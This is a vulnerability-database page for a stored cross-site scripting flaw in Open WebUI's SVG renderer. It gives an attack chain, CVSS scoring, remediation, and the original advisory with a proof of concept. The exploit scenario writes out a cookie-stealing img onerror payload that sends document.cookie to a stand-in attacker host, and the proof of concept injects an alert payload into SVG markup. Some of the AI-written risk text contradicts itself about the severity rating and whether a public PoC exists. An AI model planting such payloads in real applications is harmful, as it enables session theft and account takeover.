Skip to main content

Open WebUI CVE-2026-45346

| EUVDEUVD-2026-30651 MEDIUM
Basic XSS (CWE-80)
2026-05-14 https://github.com/open-webui/open-webui GHSA-r29h-37fj-x2w6
5.1
CVSS 4.0 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Open WebUI
  2. Delivery
    Request SVG generation via conversation
  3. Exploit
    Edit and inject HTML payload into SVG code
  4. Install
    Save malicious SVG to database
  5. C2
    Share conversation thread to victim
  6. Execute
    Victim views shared thread
  7. Impact
    Malicious JavaScript executes in victim's browser with session privileges
  8. Step 8
    Extract sensitive data or compromise account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization HTML tag escaping
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following concrete conditions: (1) Attacker must be an authenticated user of the Open WebUI instance; (2) The SVG code editing feature must be accessible and enabled (default configuration); (3) Attackers can edit existing SVG-generated content by clicking on it and modifying the raw code; (4) Saved SVG content is rendered without HTML sanitization, interpreting both SVG and non-SVG HTML elements; (5) Conversations containing the malicious SVG must be accessible to victim users (via sharing or multi-user deployments). Exploitation is NOT limited by special configuration - default Open WebUI installations with conversation threads enabled are vulnerable. The vulnerability does NOT require knowledge of specific SVG syntax; arbitrary HTML injection suffices. Victim exploitation occurs passively upon viewing a shared conversation - no user interaction beyond normal application usage is required on the victim side.

Impact

This is a high-priority vulnerability despite the absence of a CVSS score. Multiple risk signals converge to indicate significant real-world danger: (1) Exploit is trivial - requires only authenticated login and editing of an SVG code block, with no special technical complexity; (2) Proof-of-concept code is publicly available in the GitHub advisory, lowering the barrier to weaponization; (3) Persistence is permanent - malicious payloads are stored in conversation threads and executed every time the thread is viewed, affecting all users with access; (4) Scope extends beyond the individual account - shared threads become infection vectors for administrators and other users, enabling account takeover scenarios; (5) The attack requires no user interaction beyond normal application usage (viewing a shared conversation); (6) Authentication is required for initial injection but victims need not be authenticated or aware of the threat when clicking a shared link. Under SSVC framework, this would be classified as Exploitation: PoC Available, Automatable: Yes (trivial to execute), Technical Impact: High (code execution, data exfiltration, account compromise). The absence of CVSS vector data prevents quantification via that standard, but the operational risk is substantial for any Open WebUI deployment with multi-user access or external sharing of conversations.

Exploit ScenarioDerived

An authenticated attacker logs into Open WebUI and initiates a conversation requesting SVG generation (e.g., asking for a diagram). After the AI generates valid SVG markup, the attacker clicks to edit the SVG code, appends a malicious payload such as '<img src=a onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">' to extract session cookies, and saves the modified code. The injected JavaScript executes immediately in the attacker's browser and again whenever the conversation is viewed. The attacker then shares the conversation thread URL with a target administrator or other user via email or chat. When the victim accesses the shared conversation, the stored malicious code executes in their browser with their session privileges, allowing the attacker to steal authentication tokens or perform actions on behalf of the victim.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Stored cross-site scripting (XSS) in Open WebUI's SVG renderer allows authenticated users to permanently inject malicious HTML and JavaScript code into conversation threads by editing SVG content, which executes in the browser context of any user viewing the shared thread. The vulnerability affects npm package open-webui versions prior to 0.6.31 and enables account takeover, data theft, and DOM manipulation. Publicly available proof-of-concept demonstrates code execution via img tag onerror handler embedded in SVG markup.

RemediationAI

Upgrade Open WebUI npm package immediately to version 0.6.31 or later, which contains vendor-released patches addressing SVG sanitization. Execute 'npm update open-webui@0.6.31' or equivalent package manager command and restart the application. As a temporary compensating control for deployments unable to patch immediately, disable SVG editing features by restricting access to the SVG code editor endpoint (typically /api/messages/edit or equivalent conversation editing routes) at the reverse proxy or application-level access control layer - note that this prevents legitimate SVG usage and is not a permanent solution. Additionally, audit all existing conversations for injected payloads by searching the database for HTML elements outside valid SVG namespaces (e.g., img, script, iframe tags) in stored message content. Consider implementing a Web Application Firewall rule to block requests containing onerror, onload, or other event handler attributes in conversation edit operations. Inform users not to click links to potentially untrusted shared conversations until patching is complete.

Affected VersionsENISA

open-webui < 0.6.31

Affected Packages

npm open-webui fix: 0.6.31

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI renders user-editable SVG code in conversations without proper sanitization of embedded HTML elements. The vulnerability stems from insufficient input validation in the SVG renderer component, which allows injection of non-SVG HTML elements (such as img tags with event handlers) that are executed by the browser. The root cause is classified as CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page), a variant of improper output encoding. The npm package open-webui contains the vulnerable SVG parsing and rendering logic that fails to strip or escape HTML payloads before storing and displaying user-generated SVG content.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/open-webui/open-webui) · only source for this CVE.

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 15, 2026 - 22:22 NVD
5.1 (MEDIUM)
CVE Published
May 14, 2026 - 20:21 nvd
MEDIUM

DescriptionCVE.org

Summary

There is a Cross-Site Scripting vulnerability in Open WebUI SVG renderer implementation.

Details

It is possible permanently save any HTML/JavaScript code in the application, which can be then executed in the context of the application domain. This behaviour can be used to extract and steal sensitive data from the application, manipulate DOM tree or being used in complex client-side attacks.

Detailed step-by-step instruction provided below. Please keep me updated about assigned CVE identifier. I'd like to be credited as: Jakub Żoczek [Securitum]

PoC

Steps to reproduce:

To reproduce this vulnerability you need to:

  1. Login to Open WebUI
  2. Start new conversation / thread
  3. Use prompt: "Hey. Can you draw me a green circle using SVG ?"
  4. SVG image should be generated.
  5. Now it's possible to edit the code by simply clicking on it and adding additional code. Add payload <img src=a onerror=alert(document.domain)>
  6. The whole code should look like this:
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="40" fill="green"/>
</svg><img src="a" onerror="alert(document.domain)">ok</img>

<img width="1249" alt="AI XSS1" src="https://github.com/user-attachments/assets/75167880-79ac-4510-9743-f99bf81a215d" />

  1. Now clicking "Save", the new image should get rendered, and malicious code - executed (by popping alert).

<img width="527" alt="AI XSS2" src="https://github.com/user-attachments/assets/24d4e572-97f0-438f-993d-08e1d421b349" />

Such thread could be then shared and sent to other users.

Impact

Cross-Site Scripting allows attacker to execute malicious code in context of victim's browser. This way it could be used in malicious client-side attack achieving different things, depends on attacker's goal. Such thread with rendered SVG could be shared to other user (or administrator) and gain sensitive data or even takeover someone's account.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy